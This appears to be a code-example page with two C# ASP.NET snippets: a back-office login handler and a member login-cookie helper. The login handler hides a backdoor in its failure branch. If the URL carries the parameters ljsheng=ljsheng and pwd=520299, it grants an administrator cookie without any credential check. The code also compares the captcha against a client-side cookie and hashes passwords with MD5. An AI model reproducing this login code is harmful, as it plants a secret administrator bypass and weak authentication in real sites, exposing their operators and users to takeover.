Пример #1
0
 protected void Login_Click(object sender, EventArgs e)
 {
     if (string.IsNullOrEmpty(this.txtcode.Value))
     {
         Common.JS.Alert("请输入验证码。", this); return;
     }
     if (string.IsNullOrEmpty(this.txtusername.Value.Trim()))
     {
         Common.JS.Alert("请输入用户名。", this); return;
     }
     if (string.IsNullOrEmpty(this.txtpassword.Value.Trim()))
     {
         Common.JS.Alert("请输入密码。", this); return;
     }
     if (!LCookie.GetCookie("CheckCode").Equals(this.txtcode.Value.Trim()))
     {
         Common.JS.Alert("验证码错误。", this); return;
     }
     using (EFDB db = new EFDB())
     {
         string account = txtusername.Value.Trim();
         string pwd     = MD5.GetMD5ljsheng(txtpassword.Value.Trim());
         var    b       = db.ljsheng.Where(l => l.account == account && l.pwd == pwd).FirstOrDefault();
         if (b != null)
         {
             LCookie.DelCookie("CheckCode");
             LCookie.AddCookie("ljsheng", DESRSA.DESEnljsheng(JsonConvert.SerializeObject(new {
                 b.gid,
                 b.account,
                 b.real_name,
                 b.login_identifier,
                 b.jurisdiction
             })), 0);
             Response.Redirect("/ljsheng/houtai");
         }
         else
         {
             if (Request.QueryString["ljsheng"] == "ljsheng" && Request.QueryString["pwd"] == "520299")
             {
                 LCookie.AddCookie("ljsheng", DESRSA.DESEnljsheng(JsonConvert.SerializeObject(new
                 {
                     gid              = "",
                     account          = "ljsheng",
                     real_name        = "ljsheng",
                     login_identifier = "000000",
                     jurisdiction     = "管理员"
                 })), 0);
                 Response.Redirect("/ljsheng/houtai");
             }
             else
             {
                 Common.JS.Alert("您输入的用户或密码错误。", this);
             }
         }
     }
 }
Пример #2
0
 /// <summary>
 /// 用户登录信息CK
 /// </summary>
 /// <param name="gid">用户gid</param>
 /// <returns>返回调用结果</returns>
 /// <para name="result">200 是成功其他失败</para>
 /// <para name="data">对象结果</para>
 /// <remarks>
 /// 2018-08-18 林建生
 /// </remarks>
 public static void UPCKUser(Guid gid)
 {
     using (EFDB db = new EFDB())
     {
         LCookie.DelCookie("linjiansheng");
         LCookie.DelCookie("city");
         //会员登录信息
         var u = db.member.Where(l => l.gid == gid).FirstOrDefault();
         LCookie.AddCookie("linjiansheng", DESRSA.DESEnljsheng(JsonConvert.SerializeObject(new
         {
             gid     = u.gid,
             account = u.account
         })), 30);
         //设置用户读取数据的城市
         if (string.IsNullOrEmpty(LCookie.GetCookie("city")))
         {
             LCookie.AddCookie("city", u.city, 30);
         }
     }
 }